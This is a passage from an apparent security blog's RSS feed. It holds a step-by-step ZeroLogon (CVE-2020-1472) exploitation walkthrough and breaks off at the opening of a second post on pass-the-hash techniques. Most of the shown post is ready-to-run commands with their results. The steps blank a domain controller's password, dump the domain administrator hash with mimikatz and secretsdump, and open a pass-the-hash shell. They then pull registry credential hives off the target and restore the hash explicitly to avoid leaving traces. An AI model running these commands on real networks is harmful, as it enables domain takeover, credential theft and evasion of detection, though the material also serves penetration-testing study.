class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 1903 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 1909 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 2004 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Requirements for exploitation:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;An attacker only needs the domain controller hostname and IP address plus network access to obtain domain administrator privileges without credentials, even from outside the domain.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Note: A domain controller&amp;rsquo;s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller&amp;rsquo;s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. If the credential stored for the domain controller in the domain no longer matches the credential in its local registry/lsass, the domain controller will lose its domain trust and Kerberos authentication will stop working. It therefore needs to be restored as soon as possible.&lt;/p&gt;&#10;&lt;h4 id="step-1-verify-that-the-vulnerability-exists"&gt;&lt;a href="#step-1-verify-that-the-vulnerability-exists" class="header-anchor"&gt;&lt;/a&gt;Step 1: Verify That the Vulnerability Exists&#10;&lt;/h4&gt;&lt;p&gt;How to obtain the account&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Method 1: Mimikatz&lt;/p&gt;&#10;&lt;p&gt;Download a recent version that supports exploiting ZeroLogon: &lt;a class="link" href="https://github.com/gentilkiwi/mimikatz" target="_blank" rel="noopener"&#10; &gt;https://github.com/gentilkiwi/mimikatz&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;lsadump::zerologon /target:192.168.0.111 /account:WIN-RITHFS5KHEN$&amp;#34; exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Method 2: Tool from &lt;a class="link" href="https://github.com/SecuraBV/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecuraBV/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python zerologon_tester.py WIN-RITHFS5KHEN 192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="step-2-empty-the-domain-controller-hash"&gt;&lt;a href="#step-2-empty-the-domain-controller-hash" class="header-anchor"&gt;&lt;/a&gt;Step 2: Empty the Domain Controller HASH&#10;&lt;/h4&gt;&lt;p&gt;Note: A domain controller&amp;rsquo;s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller&amp;rsquo;s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. This causes the domain controller to lose its domain trust, making Kerberos authentication unavailable, so it must be restored as soon as possible.&lt;/p&gt;&#10;&lt;p&gt;Method 1: Mimikatz&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;lsadump::zerologon /target:192.168.0.110 /account:WINDOWSSERVERAD$ /exploit&amp;#34; exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 2: Tool from &lt;a class="link" href="https://github.com/risksense/zerologon" target="_blank" rel="noopener"&#10; &gt;https://github.com/risksense/zerologon&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 set_empty_pw.py WINDOWSSERVERAD 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 3: Tool from &lt;a class="link" href="https://github.com/dirkjanm/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 cve-2020-1472-exploit.py WINDOWSSERVERAD 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="step-3-retrieve-the-domain-administrator-hash"&gt;&lt;a href="#step-3-retrieve-the-domain-administrator-hash" class="header-anchor"&gt;&lt;/a&gt;Step 3: Retrieve the Domain Administrator HASH&#10;&lt;/h4&gt;&lt;p&gt;Method 1: Mimikatz&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /domain:new.local /dc:WIN-RITHFS5KHEN /user:administrator /authuser:WIN-RITHFS5KHEN$ /authdomain:main /authpassword:&amp;#34;&amp;#34; /authntlm&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is 2b2ddd54e1f78fab85e7c662f672f30e.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Method 2: Impacket&lt;/p&gt;&#10;&lt;p&gt;The Impacket toolkit is available at &lt;a class="link" href="https://github.com/SecureAuthCorp/impacket" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecureAuthCorp/impacket&lt;/a&gt;. Use its secretsdump.py tool to retrieve the domain administrator HASH:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 31d6cfe0d16ae931b73c59d7e0c089c0 is the hash of an empty value&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/WIN-RITHFS5KHEN$@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 secretsdump.py MAIN/DC01$@192.168.43.100 -just-dc -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 /usr/share/doc/python3-impacket/examples/secretsdump.py &amp;#39;secura.yzx/DC01$@192.168.131.97&amp;#39; -just-dc -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is &lt;code&gt;2b2ddd54e1f78fab85e7c662f672f30e&lt;/code&gt;. At this point, note that the HASH for the domain controller WIN-RITHFS5KHEN$ in NTDS.DIT is already the empty value &lt;code&gt;31d6cfe0d16ae931b73c59d7e0c089c0&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;For reference, the Administrator hash is &lt;code&gt;2b2ddd54e1f78fab85e7c662f672f30e&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="step-4-restore-the-domain-controller-hash"&gt;&lt;a href="#step-4-restore-the-domain-controller-hash" class="header-anchor"&gt;&lt;/a&gt;Step 4: Restore the Domain Controller HASH&#10;&lt;/h4&gt;&lt;p&gt;(You could skip this step, but that leaves traces behind, and failing to restore it may also cause the domain controller to go down. So we need to restore it.)&lt;/p&gt;&#10;&lt;p&gt;When Mimikatz restores the domain controller HASH, it changes both the credential in NTDS.DIT and the credentials in the registry/lsass to (Waza1234/Waza1234/Waza1234). This is not the original value. Although the domain will continue to work, this still leaves traces.&lt;/p&gt;&#10;&lt;p&gt;The recommended approach is to restore the original HASH. First, retrieve the domain controller&amp;rsquo;s original HASH from the registry data. You can do this with wmiexec.py or psexec.py from the Impacket package. The following example uses wmiexec.py and passes the HASH obtained for the domain administrator in the previous step:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# PTH getshell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Retrieve registry dump files; by default, they are stored in C:\ on the target host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A Chinese-language target system may report a decoding error; this does not affect operation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# /y: force overwrite of existing files, preventing a same-named file in C:\ on the target from causing an overwrite prompt that can stall a semi-interactive session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;reg save HKLM\SYSTEM system.hive /y&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;reg save HKLM\SAM sam.hive /y&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;reg save HKLM\SECURITY security.hive /y&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Download the dump files locally&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;lget system.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;lget sam.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;lget security.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Delete the dump files from the target host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;del /f system.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;del /f sam.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;del /f security.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export hashes from the registry dumps&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The result is shown below. The domain controller key (HEX) is: :71e7160142ee4406478d8c3a67566adc1ed91dd97d26c87f4ac97a4af081dadde701370b3d5fdc785a409f6f03ed9d1147163ec8e28db1c12c6a7a39fc036ec5f5db54033c653bed4c888de0ca32fe75fdcc0965daf24049c472d015963b842b982f9807ee45b9eabb94002d69ff0d8e519e9dd3112c248b4db901de95513e682ef142fd15bc97d63a0bf7b2414ad2851a00bf0f9cc356b51f25ccc4fd0f307b609278ef60c4986782b9a46cac7a6f3262eb521c9e0c7bb20dd6218e035c74b04242dcca13c778cbfe53e68901af6c27d11ac09a376a2bf456efd9d3081f95999d3b79818c754f61455c8eacdf5c9e82&lt;/p&gt;&#10;&lt;p&gt;The NTLM HASH is: aad3b435b51404eeaad3b435b51404ee:21b74da052b94026deb180cf075a5a93. Note that this differs from the empty HASH captured in the previous step, because that step retrieved the domain controller HASH record from NTDS.DIT, while this one retrieves the HASH record from the registry.&lt;/p&gt;&#10;&lt;p&gt;Next, restore it with a tool by synchronizing the HASH record in the registry back to NTDS.DIT:&lt;/p&gt;&#10;&lt;p&gt;Method 1: Tool from &lt;a class="link" href="https://github.com/risksense/zerologon" target="_blank" rel="noopener"&#10; &gt;https://github.com/risksense/zerologon&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This project explains the process very clearly. Just follow its steps.&lt;/p&gt;&#10;&lt;p&gt;Restore using the NT HASH:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python reinstall_original_pw.py WIN-RITHFS5KHEN 192.168.0.111 21b74da052b94026deb180cf075a5a93&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 2: Tool from &lt;a class="link" href="https://github.com/dirkjanm/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Restore using the key (HEX):&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 3: PowerShell&lt;/p&gt;&#10;&lt;p&gt;First, use a remote command-execution tool (wmiexec, psexec, smbexec, atexec, and so on) to obtain a shell on the domain controller. Then use a powershell command to reset the host HASH. Note that this does not restore the original HASH. Instead, it resets the credential in NTDS.DIT and the credentials in the registry/lsass to a random value:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;powershell -c Reset-ComputerMachinePassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="step-5-verify-that-the-domain-controller-hash-was-restored"&gt;&lt;a href="#step-5-verify-that-the-domain-controller-hash-was-restored" class="header-anchor"&gt;&lt;/a&gt;Step 5: Verify That the Domain Controller HASH Was Restored&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e domain/administrator@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;</description></item><item><title>Active Directory Pentesting: PTT, PTH, and PTC</title><link>http://xtpol.com/p/active-directory-ptt-pth-ptc/</link><pubDate>Tue, 19 Nov 2024 08:58:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-ptt-pth-ptc/</guid><description>&lt;h2 id="learning-active-directory-pentesting"&gt;&lt;a href="#learning-active-directory-pentesting" class="header-anchor"&gt;&lt;/a&gt;Learning Active Directory Pentesting&#10;&lt;/h2&gt;&lt;p&gt;[TOC]&lt;/p&gt;&#10;&lt;p&gt;During a penetration test, we often run into a scenario like this: a server in the domain exposes a web service through a port 